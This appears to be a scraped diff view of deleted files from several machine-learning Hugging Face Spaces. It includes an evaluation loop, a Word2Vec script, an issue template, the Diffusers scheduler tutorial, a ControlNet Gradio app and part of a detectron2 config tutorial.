dataloader = DataLoader(dataset, batch_size=1, shuffle=False, num_workers=1)
|
20 |
-
|
21 |
-
if not os.path.exists(log_dir):
|
22 |
-
os.makedirs(log_dir)
|
23 |
-
|
24 |
-
if not os.path.exists(png_dir):
|
25 |
-
os.makedirs(png_dir)
|
26 |
-
|
27 |
-
loss_list = []
|
28 |
-
|
29 |
-
inpainting_network.eval()
|
30 |
-
kp_detector.eval()
|
31 |
-
dense_motion_network.eval()
|
32 |
-
if bg_predictor:
|
33 |
-
bg_predictor.eval()
|
34 |
-
|
35 |
-
for it, x in tqdm(enumerate(dataloader)):
|
36 |
-
with torch.no_grad():
|
37 |
-
predictions = []
|
38 |
-
visualizations = []
|
39 |
-
if torch.cuda.is_available():
|
40 |
-
x['video'] = x['video'].cuda()
|
41 |
-
kp_source = kp_detector(x['video'][:, :, 0])
|
42 |
-
for frame_idx in range(x['video'].shape[2]):
|
43 |
-
source = x['video'][:, :, 0]
|
44 |
-
driving = x['video'][:, :, frame_idx]
|
45 |
-
kp_driving = kp_detector(driving)
|
46 |
-
bg_params = None
|
47 |
-
if bg_predictor:
|
48 |
-
bg_params = bg_predictor(source, driving)
|
49 |
-
|
50 |
-
dense_motion = dense_motion_network(source_image=source, kp_driving=kp_driving,
|
51 |
-
kp_source=kp_source, bg_param = bg_params,
|
52 |
-
dropout_flag = False)
|
53 |
-
out = inpainting_network(source, dense_motion)
|
54 |
-
out['kp_source'] = kp_source
|
55 |
-
out['kp_driving'] = kp_driving
|
56 |
-
|
57 |
-
predictions.append(np.transpose(out['prediction'].data.cpu().numpy(), [0, 2, 3, 1])[0])
|
58 |
-
|
59 |
-
visualization = Visualizer(**config['visualizer_params']).visualize(source=source,
|
60 |
-
driving=driving, out=out)
|
61 |
-
visualizations.append(visualization)
|
62 |
-
loss = torch.abs(out['prediction'] - driving).mean().cpu().numpy()
|
63 |
-
|
64 |
-
loss_list.append(loss)
|
65 |
-
# print(np.mean(loss_list))
|
66 |
-
predictions = np.concatenate(predictions, axis=1)
|
67 |
-
imageio.imsave(os.path.join(png_dir, x['name'][0] + '.png'), (255 * predictions).astype(np.uint8))
|
68 |
-
|
69 |
-
print("Reconstruction loss: %s" % np.mean(loss_list))
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/Alpaca233/ChatPDF-GUI/gpt_reader/__init__.py
DELETED
File without changes
|
spaces/AlterM/Zaglyt2-transformer-test/word_emb.py
DELETED
@@ -1,15 +0,0 @@
|
|
1 |
-
from m_conf import *
|
2 |
-
from keras.preprocessing.text import Tokenizer
|
3 |
-
from gensim.models import Word2Vec
|
4 |
-
|
5 |
-
with open('train.txt', 'r') as file:
|
6 |
-
lines = file.readlines()
|
7 |
-
|
8 |
-
tokenizer = Tokenizer()
|
9 |
-
tokenizer.fit_on_texts(lines)
|
10 |
-
sequences = tokenizer.texts_to_sequences(lines)
|
11 |
-
tokens = [[str(i) for i in seq] for seq in sequences]
|
12 |
-
|
13 |
-
model = Word2Vec(tokens, window=3, min_count=1, vector_size=emb_o_dim)
|
14 |
-
|
15 |
-
model.save("w2v.model")
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/Ameaou/academic-chatgpt3.1/.github/ISSUE_TEMPLATE/bug_report.md
DELETED
@@ -1,25 +0,0 @@
|
|
1 |
-
---
|
2 |
-
name: Bug report
|
3 |
-
about: Create a report to help us improve
|
4 |
-
title: ''
|
5 |
-
labels: ''
|
6 |
-
assignees: ''
|
7 |
-
|
8 |
-
---
|
9 |
-
|
10 |
-
- **(1) Describe the bug 简述**
|
11 |
-
|
12 |
-
|
13 |
-
- **(2) Screen Shot 截图**
|
14 |
-
|
15 |
-
|
16 |
-
- **(3) Terminal Traceback 终端traceback(如有)**
|
17 |
-
|
18 |
-
|
19 |
-
- **(4) Material to Help Reproduce Bugs 帮助我们复现的测试材料样本(如有)**
|
20 |
-
|
21 |
-
|
22 |
-
|
23 |
-
Before submitting an issue 提交issue之前:
|
24 |
-
- Please try to upgrade your code. 如果您的代码不是最新的,建议您先尝试更新代码
|
25 |
-
- Please check project wiki for common problem solutions.项目[wiki](https://github.com/binary-husky/chatgpt_academic/wiki)有一些常见问题的解决方法
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/Androidonnxfork/CivitAi-to-Diffusers/diffusers/docs/source/en/using-diffusers/schedulers.md
DELETED
@@ -1,313 +0,0 @@
|
|
1 |
-
<!--Copyright 2023 The HuggingFace Team. All rights reserved.
|
2 |
-
|
3 |
-
Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
|
4 |
-
the License. You may obtain a copy of the License at
|
5 |
-
|
6 |
-
http://www.apache.org/licenses/LICENSE-2.0
|
7 |
-
|
8 |
-
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on
|
9 |
-
an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
|
10 |
-
specific language governing permissions and limitations under the License.
|
11 |
-
-->
|
12 |
-
|
13 |
-
# Schedulers
|
14 |
-
|
15 |
-
[[open-in-colab]]
|
16 |
-
|
17 |
-
Diffusion pipelines are inherently a collection of diffusion models and schedulers that are partly independent from each other. This means that one is able to switch out parts of the pipeline to better customize
|
18 |
-
a pipeline to one's use case. The best example of this is the [Schedulers](../api/schedulers/overview.md).
|
19 |
-
|
20 |
-
Whereas diffusion models usually simply define the forward pass from noise to a less noisy sample,
|
21 |
-
schedulers define the whole denoising process, *i.e.*:
|
22 |
-
- How many denoising steps?
|
23 |
-
- Stochastic or deterministic?
|
24 |
-
- What algorithm to use to find the denoised sample
|
25 |
-
|
26 |
-
They can be quite complex and often define a trade-off between **denoising speed** and **denoising quality**.
|
27 |
-
It is extremely difficult to measure quantitatively which scheduler works best for a given diffusion pipeline, so it is often recommended to simply try out which works best.
|
28 |
-
|
29 |
-
The following paragraphs show how to do so with the 🧨 Diffusers library.
|
30 |
-
|
31 |
-
## Load pipeline
|
32 |
-
|
33 |
-
Let's start by loading the [`runwayml/stable-diffusion-v1-5`](https://huggingface.co/runwayml/stable-diffusion-v1-5) model in the [`DiffusionPipeline`]:
|
34 |
-
|
35 |
-
```python
|
36 |
-
from huggingface_hub import login
|
37 |
-
from diffusers import DiffusionPipeline
|
38 |
-
import torch
|
39 |
-
|
40 |
-
login()
|
41 |
-
|
42 |
-
pipeline = DiffusionPipeline.from_pretrained("runwayml/stable-diffusion-v1-5", torch_dtype=torch.float16)
|
43 |
-
```
|
44 |
-
|
45 |
-
Next, we move it to GPU:
|
46 |
-
|
47 |
-
```python
|
48 |
-
pipeline.to("cuda")
|
49 |
-
```
|
50 |
-
|
51 |
-
## Access the scheduler
|
52 |
-
|
53 |
-
The scheduler is always one of the components of the pipeline and is usually called `"scheduler"`.
|
54 |
-
So it can be accessed via the `"scheduler"` property.
|
55 |
-
|
56 |
-
```python
|
57 |
-
pipeline.scheduler
|
58 |
-
```
|
59 |
-
|
60 |
-
**Output**:
|
61 |
-
```
|
62 |
-
PNDMScheduler {
|
63 |
-
"_class_name": "PNDMScheduler",
|
64 |
-
"_diffusers_version": "0.8.0.dev0",
|
65 |
-
"beta_end": 0.012,
|
66 |
-
"beta_schedule": "scaled_linear",
|
67 |
-
"beta_start": 0.00085,
|
68 |
-
"clip_sample": false,
|
69 |
-
"num_train_timesteps": 1000,
|
70 |
-
"set_alpha_to_one": false,
|
71 |
-
"skip_prk_steps": true,
|
72 |
-
"steps_offset": 1,
|
73 |
-
"trained_betas": null
|
74 |
-
}
|
75 |
-
```
|
76 |
-
|
77 |
-
We can see that the scheduler is of type [`PNDMScheduler`].
|
78 |
-
Cool, now let's compare the scheduler in its performance to other schedulers.
|
79 |
-
First we define a prompt on which we will test all the different schedulers:
|
80 |
-
|
81 |
-
```python
|
82 |
-
prompt = "A photograph of an astronaut riding a horse on Mars, high resolution, high definition."
|
83 |
-
```
|
84 |
-
|
85 |
-
Next, we create a generator from a random seed that will ensure that we can generate similar images as well as run the pipeline:
|
86 |
-
|
87 |
-
```python
|
88 |
-
generator = torch.Generator(device="cuda").manual_seed(8)
|
89 |
-
image = pipeline(prompt, generator=generator).images[0]
|
90 |
-
image
|
91 |
-
```
|
92 |
-
|
93 |
-
<p align="center">
|
94 |
-
<br>
|
95 |
-
<img src="https://huggingface.co/datasets/patrickvonplaten/images/resolve/main/diffusers_docs/astronaut_pndm.png" width="400"/>
|
96 |
-
<br>
|
97 |
-
</p>
|
98 |
-
|
99 |
-
|
100 |
-
## Changing the scheduler
|
101 |
-
|
102 |
-
Now we show how easy it is to change the scheduler of a pipeline. Every scheduler has a property [`SchedulerMixin.compatibles`]
|
103 |
-
which defines all compatible schedulers. You can take a look at all available, compatible schedulers for the Stable Diffusion pipeline as follows.
|
104 |
-
|
105 |
-
```python
|
106 |
-
pipeline.scheduler.compatibles
|
107 |
-
```
|
108 |
-
|
109 |
-
**Output**:
|
110 |
-
```
|
111 |
-
[diffusers.schedulers.scheduling_lms_discrete.LMSDiscreteScheduler,
|
112 |
-
diffusers.schedulers.scheduling_ddim.DDIMScheduler,
|
113 |
-
diffusers.schedulers.scheduling_dpmsolver_multistep.DPMSolverMultistepScheduler,
|
114 |
-
diffusers.schedulers.scheduling_euler_discrete.EulerDiscreteScheduler,
|
115 |
-
diffusers.schedulers.scheduling_pndm.PNDMScheduler,
|
116 |
-
diffusers.schedulers.scheduling_ddpm.DDPMScheduler,
|
117 |
-
diffusers.schedulers.scheduling_euler_ancestral_discrete.EulerAncestralDiscreteScheduler]
|
118 |
-
```
|
119 |
-
|
120 |
-
Cool, lots of schedulers to look at. Feel free to have a look at their respective class definitions:
|
121 |
-
|
122 |
-
- [`LMSDiscreteScheduler`],
|
123 |
-
- [`DDIMScheduler`],
|
124 |
-
- [`DPMSolverMultistepScheduler`],
|
125 |
-
- [`EulerDiscreteScheduler`],
|
126 |
-
- [`PNDMScheduler`],
|
127 |
-
- [`DDPMScheduler`],
|
128 |
-
- [`EulerAncestralDiscreteScheduler`].
|
129 |
-
|
130 |
-
We will now compare the input prompt with all other schedulers. To change the scheduler of the pipeline you can make use of the
|
131 |
-
convenient [`ConfigMixin.config`] property in combination with the [`ConfigMixin.from_config`] function.
|
132 |
-
|
133 |
-
```python
|
134 |
-
pipeline.scheduler.config
|
135 |
-
```
|
136 |
-
|
137 |
-
returns a dictionary of the configuration of the scheduler:
|
138 |
-
|
139 |
-
**Output**:
|
140 |
-
```
|
141 |
-
FrozenDict([('num_train_timesteps', 1000),
|
142 |
-
('beta_start', 0.00085),
|
143 |
-
('beta_end', 0.012),
|
144 |
-
('beta_schedule', 'scaled_linear'),
|
145 |
-
('trained_betas', None),
|
146 |
-
('skip_prk_steps', True),
|
147 |
-
('set_alpha_to_one', False),
|
148 |
-
('steps_offset', 1),
|
149 |
-
('_class_name', 'PNDMScheduler'),
|
150 |
-
('_diffusers_version', '0.8.0.dev0'),
|
151 |
-
('clip_sample', False)])
|
152 |
-
```
|
153 |
-
|
154 |
-
This configuration can then be used to instantiate a scheduler
|
155 |
-
of a different class that is compatible with the pipeline. Here,
|
156 |
-
we change the scheduler to the [`DDIMScheduler`].
|
157 |
-
|
158 |
-
```python
|
159 |
-
from diffusers import DDIMScheduler
|
160 |
-
|
161 |
-
pipeline.scheduler = DDIMScheduler.from_config(pipeline.scheduler.config)
|
162 |
-
```
|
163 |
-
|
164 |
-
Cool, now we can run the pipeline again to compare the generation quality.
|
165 |
-
|
166 |
-
```python
|
167 |
-
generator = torch.Generator(device="cuda").manual_seed(8)
|
168 |
-
image = pipeline(prompt, generator=generator).images[0]
|
169 |
-
image
|
170 |
-
```
|
171 |
-
|
172 |
-
<p align="center">
|
173 |
-
<br>
|
174 |
-
<img src="https://huggingface.co/datasets/patrickvonplaten/images/resolve/main/diffusers_docs/astronaut_ddim.png" width="400"/>
|
175 |
-
<br>
|
176 |
-
</p>
|
177 |
-
|
178 |
-
If you are a JAX/Flax user, please check [this section](#changing-the-scheduler-in-flax) instead.
|
179 |
-
|
180 |
-
## Compare schedulers
|
181 |
-
|
182 |
-
So far we have tried running the stable diffusion pipeline with two schedulers: [`PNDMScheduler`] and [`DDIMScheduler`].
|
183 |
-
A number of better schedulers have been released that can be run with much fewer steps, let's compare them here:
|
184 |
-
|
185 |
-
[`LMSDiscreteScheduler`] usually leads to better results:
|
186 |
-
|
187 |
-
```python
|
188 |
-
from diffusers import LMSDiscreteScheduler
|
189 |
-
|
190 |
-
pipeline.scheduler = LMSDiscreteScheduler.from_config(pipeline.scheduler.config)
|
191 |
-
|
192 |
-
generator = torch.Generator(device="cuda").manual_seed(8)
|
193 |
-
image = pipeline(prompt, generator=generator).images[0]
|
194 |
-
image
|
195 |
-
```
|
196 |
-
|
197 |
-
<p align="center">
|
198 |
-
<br>
|
199 |
-
<img src="https://huggingface.co/datasets/patrickvonplaten/images/resolve/main/diffusers_docs/astronaut_lms.png" width="400"/>
|
200 |
-
<br>
|
201 |
-
</p>
|
202 |
-
|
203 |
-
|
204 |
-
[`EulerDiscreteScheduler`] and [`EulerAncestralDiscreteScheduler`] can generate high quality results with as little as 30 steps.
|
205 |
-
|
206 |
-
```python
|
207 |
-
from diffusers import EulerDiscreteScheduler
|
208 |
-
|
209 |
-
pipeline.scheduler = EulerDiscreteScheduler.from_config(pipeline.scheduler.config)
|
210 |
-
|
211 |
-
generator = torch.Generator(device="cuda").manual_seed(8)
|
212 |
-
image = pipeline(prompt, generator=generator, num_inference_steps=30).images[0]
|
213 |
-
image
|
214 |
-
```
|
215 |
-
|
216 |
-
<p align="center">
|
217 |
-
<br>
|
218 |
-
<img src="https://huggingface.co/datasets/patrickvonplaten/images/resolve/main/diffusers_docs/astronaut_euler_discrete.png" width="400"/>
|
219 |
-
<br>
|
220 |
-
</p>
|
221 |
-
|
222 |
-
|
223 |
-
and:
|
224 |
-
|
225 |
-
```python
|
226 |
-
from diffusers import EulerAncestralDiscreteScheduler
|
227 |
-
|
228 |
-
pipeline.scheduler = EulerAncestralDiscreteScheduler.from_config(pipeline.scheduler.config)
|
229 |
-
|
230 |
-
generator = torch.Generator(device="cuda").manual_seed(8)
|
231 |
-
image = pipeline(prompt, generator=generator, num_inference_steps=30).images[0]
|
232 |
-
image
|
233 |
-
```
|
234 |
-
|
235 |
-
<p align="center">
|
236 |
-
<br>
|
237 |
-
<img src="https://huggingface.co/datasets/patrickvonplaten/images/resolve/main/diffusers_docs/astronaut_euler_ancestral.png" width="400"/>
|
238 |
-
<br>
|
239 |
-
</p>
|
240 |
-
|
241 |
-
|
242 |
-
At the time of writing this doc [`DPMSolverMultistepScheduler`] gives arguably the best speed/quality trade-off and can be run with as little
|
243 |
-
as 20 steps.
|
244 |
-
|
245 |
-
```python
|
246 |
-
from diffusers import DPMSolverMultistepScheduler
|
247 |
-
|
248 |
-
pipeline.scheduler = DPMSolverMultistepScheduler.from_config(pipeline.scheduler.config)
|
249 |
-
|
250 |
-
generator = torch.Generator(device="cuda").manual_seed(8)
|
251 |
-
image = pipeline(prompt, generator=generator, num_inference_steps=20).images[0]
|
252 |
-
image
|
253 |
-
```
|
254 |
-
|
255 |
-
<p align="center">
|
256 |
-
<br>
|
257 |
-
<img src="https://huggingface.co/datasets/patrickvonplaten/images/resolve/main/diffusers_docs/astronaut_dpm.png" width="400"/>
|
258 |
-
<br>
|
259 |
-
</p>
|
260 |
-
|
261 |
-
As you can see most images look very similar and are arguably of very similar quality. It often really depends on the specific use case which scheduler to choose. A good approach is always to run multiple different
|
262 |
-
schedulers to compare results.
|
263 |
-
|
264 |
-
## Changing the Scheduler in Flax
|
265 |
-
|
266 |
-
If you are a JAX/Flax user, you can also change the default pipeline scheduler. This is a complete example of how to run inference using the Flax Stable Diffusion pipeline and the super-fast [DDPM-Solver++ scheduler](../api/schedulers/multistep_dpm_solver):
|
267 |
-
|
268 |
-
```Python
|
269 |
-
import jax
|
270 |
-
import numpy as np
|
271 |
-
from flax.jax_utils import replicate
|
272 |
-
from flax.training.common_utils import shard
|
273 |
-
|
274 |
-
from diffusers import FlaxStableDiffusionPipeline, FlaxDPMSolverMultistepScheduler
|
275 |
-
|
276 |
-
model_id = "runwayml/stable-diffusion-v1-5"
|
277 |
-
scheduler, scheduler_state = FlaxDPMSolverMultistepScheduler.from_pretrained(
|
278 |
-
model_id,
|
279 |
-
subfolder="scheduler"
|
280 |
-
)
|
281 |
-
pipeline, params = FlaxStableDiffusionPipeline.from_pretrained(
|
282 |
-
model_id,
|
283 |
-
scheduler=scheduler,
|
284 |
-
revision="bf16",
|
285 |
-
dtype=jax.numpy.bfloat16,
|
286 |
-
)
|
287 |
-
params["scheduler"] = scheduler_state
|
288 |
-
|
289 |
-
# Generate 1 image per parallel device (8 on TPUv2-8 or TPUv3-8)
|
290 |
-
prompt = "a photo of an astronaut riding a horse on mars"
|
291 |
-
num_samples = jax.device_count()
|
292 |
-
prompt_ids = pipeline.prepare_inputs([prompt] * num_samples)
|
293 |
-
|
294 |
-
prng_seed = jax.random.PRNGKey(0)
|
295 |
-
num_inference_steps = 25
|
296 |
-
|
297 |
-
# shard inputs and rng
|
298 |
-
params = replicate(params)
|
299 |
-
prng_seed = jax.random.split(prng_seed, jax.device_count())
|
300 |
-
prompt_ids = shard(prompt_ids)
|
301 |
-
|
302 |
-
images = pipeline(prompt_ids, params, prng_seed, num_inference_steps, jit=True).images
|
303 |
-
images = pipeline.numpy_to_pil(np.asarray(images.reshape((num_samples,) + images.shape[-3:])))
|
304 |
-
```
|
305 |
-
|
306 |
-
<Tip warning={true}>
|
307 |
-
|
308 |
-
The following Flax schedulers are _not yet compatible_ with the Flax Stable Diffusion Pipeline:
|
309 |
-
|
310 |
-
- `FlaxLMSDiscreteScheduler`
|
311 |
-
- `FlaxDDPMScheduler`
|
312 |
-
|
313 |
-
</Tip>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/Anonymous-sub/Rerender/ControlNet/gradio_seg2image.py
DELETED
@@ -1,97 +0,0 @@
|
|
1 |
-
from share import *
|
2 |
-
import config
|
3 |
-
|
4 |
-
import cv2
|
5 |
-
import einops
|
6 |
-
import gradio as gr
|
7 |
-
import numpy as np
|
8 |
-
import torch
|
9 |
-
import random
|
10 |
-
|
11 |
-
from pytorch_lightning import seed_everything
|
12 |
-
from annotator.util import resize_image, HWC3
|
13 |
-
from annotator.uniformer import UniformerDetector
|
14 |
-
from cldm.model import create_model, load_state_dict
|
15 |
-
from cldm.ddim_hacked import DDIMSampler
|
16 |
-
|
17 |
-
|
18 |
-
apply_uniformer = UniformerDetector()
|
19 |
-
|
20 |
-
model = create_model('./models/cldm_v15.yaml').cpu()
|
21 |
-
model.load_state_dict(load_state_dict('./models/control_sd15_seg.pth', location='cuda'))
|
22 |
-
model = model.cuda()
|
23 |
-
ddim_sampler = DDIMSampler(model)
|
24 |
-
|
25 |
-
|
26 |
-
def process(input_image, prompt, a_prompt, n_prompt, num_samples, image_resolution, detect_resolution, ddim_steps, guess_mode, strength, scale, seed, eta):
|
27 |
-
with torch.no_grad():
|
28 |
-
input_image = HWC3(input_image)
|
29 |
-
detected_map = apply_uniformer(resize_image(input_image, detect_resolution))
|
30 |
-
img = resize_image(input_image, image_resolution)
|
31 |
-
H, W, C = img.shape
|
32 |
-
|
33 |
-
detected_map = cv2.resize(detected_map, (W, H), interpolation=cv2.INTER_NEAREST)
|
34 |
-
|
35 |
-
control = torch.from_numpy(detected_map.copy()).float().cuda() / 255.0
|
36 |
-
control = torch.stack([control for _ in range(num_samples)], dim=0)
|
37 |
-
control = einops.rearrange(control, 'b h w c -> b c h w').clone()
|
38 |
-
|
39 |
-
if seed == -1:
|
40 |
-
seed = random.randint(0, 65535)
|
41 |
-
seed_everything(seed)
|
42 |
-
|
43 |
-
if config.save_memory:
|
44 |
-
model.low_vram_shift(is_diffusing=False)
|
45 |
-
|
46 |
-
cond = {"c_concat": [control], "c_crossattn": [model.get_learned_conditioning([prompt + ', ' + a_prompt] * num_samples)]}
|
47 |
-
un_cond = {"c_concat": None if guess_mode else [control], "c_crossattn": [model.get_learned_conditioning([n_prompt] * num_samples)]}
|
48 |
-
shape = (4, H // 8, W // 8)
|
49 |
-
|
50 |
-
if config.save_memory:
|
51 |
-
model.low_vram_shift(is_diffusing=True)
|
52 |
-
|
53 |
-
model.control_scales = [strength * (0.825 ** float(12 - i)) for i in range(13)] if guess_mode else ([strength] * 13) # Magic number. IDK why. Perhaps because 0.825**12<0.01 but 0.826**12>0.01
|
54 |
-
samples, intermediates = ddim_sampler.sample(ddim_steps, num_samples,
|
55 |
-
shape, cond, verbose=False, eta=eta,
|
56 |
-
unconditional_guidance_scale=scale,
|
57 |
-
unconditional_conditioning=un_cond)
|
58 |
-
|
59 |
-
if config.save_memory:
|
60 |
-
model.low_vram_shift(is_diffusing=False)
|
61 |
-
|
62 |
-
x_samples = model.decode_first_stage(samples)
|
63 |
-
x_samples = (einops.rearrange(x_samples, 'b c h w -> b h w c') * 127.5 + 127.5).cpu().numpy().clip(0, 255).astype(np.uint8)
|
64 |
-
|
65 |
-
results = [x_samples[i] for i in range(num_samples)]
|
66 |
-
return [detected_map] + results
|
67 |
-
|
68 |
-
|
69 |
-
block = gr.Blocks().queue()
|
70 |
-
with block:
|
71 |
-
with gr.Row():
|
72 |
-
gr.Markdown("## Control Stable Diffusion with Segmentation Maps")
|
73 |
-
with gr.Row():
|
74 |
-
with gr.Column():
|
75 |
-
input_image = gr.Image(source='upload', type="numpy")
|
76 |
-
prompt = gr.Textbox(label="Prompt")
|
77 |
-
run_button = gr.Button(label="Run")
|
78 |
-
with gr.Accordion("Advanced options", open=False):
|
79 |
-
num_samples = gr.Slider(label="Images", minimum=1, maximum=12, value=1, step=1)
|
80 |
-
image_resolution = gr.Slider(label="Image Resolution", minimum=256, maximum=768, value=512, step=64)
|
81 |
-
strength = gr.Slider(label="Control Strength", minimum=0.0, maximum=2.0, value=1.0, step=0.01)
|
82 |
-
guess_mode = gr.Checkbox(label='Guess Mode', value=False)
|
83 |
-
detect_resolution = gr.Slider(label="Segmentation Resolution", minimum=128, maximum=1024, value=512, step=1)
|
84 |
-
ddim_steps = gr.Slider(label="Steps", minimum=1, maximum=100, value=20, step=1)
|
85 |
-
scale = gr.Slider(label="Guidance Scale", minimum=0.1, maximum=30.0, value=9.0, step=0.1)
|
86 |
-
seed = gr.Slider(label="Seed", minimum=-1, maximum=2147483647, step=1, randomize=True)
|
87 |
-
eta = gr.Number(label="eta (DDIM)", value=0.0)
|
88 |
-
a_prompt = gr.Textbox(label="Added Prompt", value='best quality, extremely detailed')
|
89 |
-
n_prompt = gr.Textbox(label="Negative Prompt",
|
90 |
-
value='longbody, lowres, bad anatomy, bad hands, missing fingers, extra digit, fewer digits, cropped, worst quality, low quality')
|
91 |
-
with gr.Column():
|
92 |
-
result_gallery = gr.Gallery(label='Output', show_label=False, elem_id="gallery").style(grid=2, height='auto')
|
93 |
-
ips = [input_image, prompt, a_prompt, n_prompt, num_samples, image_resolution, detect_resolution, ddim_steps, guess_mode, strength, scale, seed, eta]
|
94 |
-
run_button.click(fn=process, inputs=ips, outputs=[result_gallery])
|
95 |
-
|
96 |
-
|
97 |
-
block.launch(server_name='0.0.0.0')
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/Arnx/MusicGenXvAKN/tests/data/__init__.py
DELETED
@@ -1,5 +0,0 @@
|
|
1 |
-
# Copyright (c) Meta Platforms, Inc. and affiliates.
|
2 |
-
# All rights reserved.
|
3 |
-
#
|
4 |
-
# This source code is licensed under the license found in the
|
5 |
-
# LICENSE file in the root directory of this source tree.
|
|
|
|
|
|
|
|
|
|
|
|
spaces/Awiny/Image2Paragraph/models/grit_src/third_party/CenterNet2/docs/tutorials/configs.md
DELETED
@@ -1,62 +0,0 @@
|
|
1 |
-
# Yacs Configs
|
2 |
-
|
3 |
-
Detectron2 provides a key-value based config system that can be
|
4 |
-
used to obtain standard, common behaviors.
|
5 |
-
|
6 |
-
This system uses YAML and [yacs](https://github.com/rbgirshick/yacs).
|
7 |
-
Yaml is a very limited language,
|
8 |
-
so we do not expect all features in detectron2 to be available through configs.
|
9 |
-
If you need something that's not available in the config space,
|
10 |
-
please write code using detectron2's API.
|
11 |
-
|
12 |
-
With the introduction of a more powerful [LazyConfig system](lazyconfigs.md),
|
13 |
-
we no longer add functionality / new keys to the Yacs/Yaml-based config system.
|
14 |
-
|
15 |
-
### Basic Usage
|
16 |
-
|
17 |
-
Some basic usage of the `CfgNode` object is shown here. See more in [documentation](../modules/config.html#detectron2.config.CfgNode).
|
18 |
-
```python
|
19 |
-
from detectron2.config import get_cfg
|
20 |
-
cfg = get_cfg() # obtain detectron2's default config
|
21 |
-
cfg.xxx = yyy # add new configs for your own custom components
|
22 |
-
cfg.merge_from_file("my_cfg.yaml") # load values from a file
|
23 |
-
|
24 |
-
cfg.merge_from_list(["MODEL.WEIGHTS", "weights.pth"]) # can also load values from a list of str
|
25 |
-
print(cfg.dump()) # print formatted configs
|
26 |
-
with open("output.yaml", "w") as f:
|
27 |
-
f.write(cfg.dump()) # save config to file
|
28 |
-
```
|
29 |
-
|
30 |
-
In addition to the basic Yaml syntax, the config file can
|
31 |
-
define a `_BASE_: base.yaml` field, which will load a base config file first.
|
32 |
-
Values in the base config will be overwritten in sub-configs, if there are any conflicts.
|
33 |
-
We provided several base configs for standard model architectures.
|
34 |
-
|
35 |
-
Many builtin tools in detectron2 accept command line config overwrite:
|
36 |
-
Key-value pairs provided in the command line will overwrite the existing values in the config file.
|
37 |
-
For example, [demo.py](../../demo/demo.py) can be used with
|
38 |
-
```
|
39 |
-
./demo.py --config-file config.yaml [--other-options] \
|
40 |
-
--opts MODEL.WEIGHTS /path/to/weights INPUT.MIN_SIZE_TEST 1000
|
41 |
-
```
|
42 |
-
|
43 |
-
